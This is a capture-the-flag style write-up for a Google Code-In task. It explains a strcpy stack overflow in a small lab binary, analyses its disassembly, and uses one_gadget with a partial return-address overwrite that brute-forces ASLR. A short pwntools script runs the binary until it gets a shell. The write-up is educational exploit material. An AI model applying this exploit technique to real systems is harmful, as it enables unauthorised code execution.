Table of Contents
We are given a binary to exploit. By running
checksec on it, we see that the binary has the following protections: [show-line-numbers]: false
Canary : No NX : Yes PIE : Yes Fortify : No RelRO : Partial
Because the binary has NX, we cannot place executable shell code in a buffer and then jump to it. PIE allows the code section of the binary to be located anywhere in memory. This means that we don't know the address of functions within the binary; however, we still know relative offsets.
Dump of assembler code for function main: 0x0000000000001145 <+0>: push rbp # Setup Stack 0x0000000000001146 <+1>: mov rbp,rsp 0x0000000000001149 <+4>: sub rsp,0x110 # Allocate 0x110 bytes on stack 0x0000000000001150 <+11>: mov DWORD PTR [rbp-0x104],edi # Copies edi into stack offset 0x104 0x0000000000001156 <+17>: mov QWORD PTR [rbp-0x110],rsi # Copies rsi into stack offset 0x110 0x000000000000115d <+24>: mov rax,QWORD PTR [rbp-0x110] # Copies value of pointer into rax 0x0000000000001164 <+31>: add rax,0x8 # Adds size_t 0x0000000000001168 <+35>: mov rdx,QWORD PTR [rax] # Copies the value of the pointer [rax + 8] into rdx 0x000000000000116b <+38>: lea rax,[rbp-0x100] # Loads the address of [rbp - 0x100] into rax 0x0000000000001172 <+45>: mov rsi,rdx # rsi = rdx 0x0000000000001175 <+48>: mov rdi,rax # rdi = rax 0x0000000000001178 <+51>: call 0x1030 <strcpy@plt> # Calls strcpy(rsi, rdi) ; strcpy ([rbp - 0x100], argv) 0x000000000000117d <+56>: lea rax,[rbp-0x100] # Loads address of [rbp-0x100] into rax 0x0000000000001184 <+63>: mov rdi,rax # rdi = rax 0x0000000000001187 <+66>: call 0x1040 <puts@plt> # puts(rdi) 0x000000000000118c <+71>: mov eax,0x0 # return 0 0x0000000000001191 <+76>: leave 0x0000000000001192 <+77>: ret End of assembler dump.
We can see that
argv is copied into a 0x100 byte buffer on the stack. However, there are no checks on the size of
argv. This is plainly a stack overflow vulnerability.
Now that we have an understanding of what the binary does, we can construct a payload to get code execution. Since the canary is not enabled, we can overwrite the return address. However, because of PIE and ASLR, we don't have any clear targets to jump to.
Where do we jump?
The binary is dynamically linked and uses the system libc. We can find targets within the binary, when jumped to, result in a call to
execve("/bin/sh", NULL, NULL) and lead to "a shell". The tool one_gadget finds offsets to these one gadgets within a given libc binary. Running
one_gadget libc.so.6 gives the following output:
However, we don't know the base address that libc is loaded at.
Generally, the libc runtime handles initializes itself before calling
main. This means that when
main returns, we end up within libc. In fact, in this asciinema, we see that
main returns to
__libc_start_main within libc.
If we overflow the buffer, we can overwrite this address. We could overwrite the entire return pointer, but what if we only overwrote it partially? This is known as a partial overwrite. Since all functions within libc have the same base address, we can overwrite the lower bytes of the return pointer to jump to any known offset within libc.
One small problem
strcpy is called, it adds a null byte to the end of the destination buffer. If we attempt a partial overwrite, this will result
0x00 being placed within the return pointer.
To overcome this, we can bruteforce ASLR by repeatedly running the program until libc is loaded in a position that matches the overwritten return pointer. We need to bruteforce 1.5 bytes (because the one_gadget is
4f2c5, we only need to bruteforce the upper half of
0x?4 and the null byte before it). This means that, on average, we will need to execute the program
4096 times before successfully reaching a shell.
from pwn import * while True: try: r = process(['./exploitme', 'A'*264 + '\xc5\xf2\x04']) r.sendline('ls') print(r.can_recv()) r.interactive() except EOFError: pass
This is a writeup for this Google Code-In task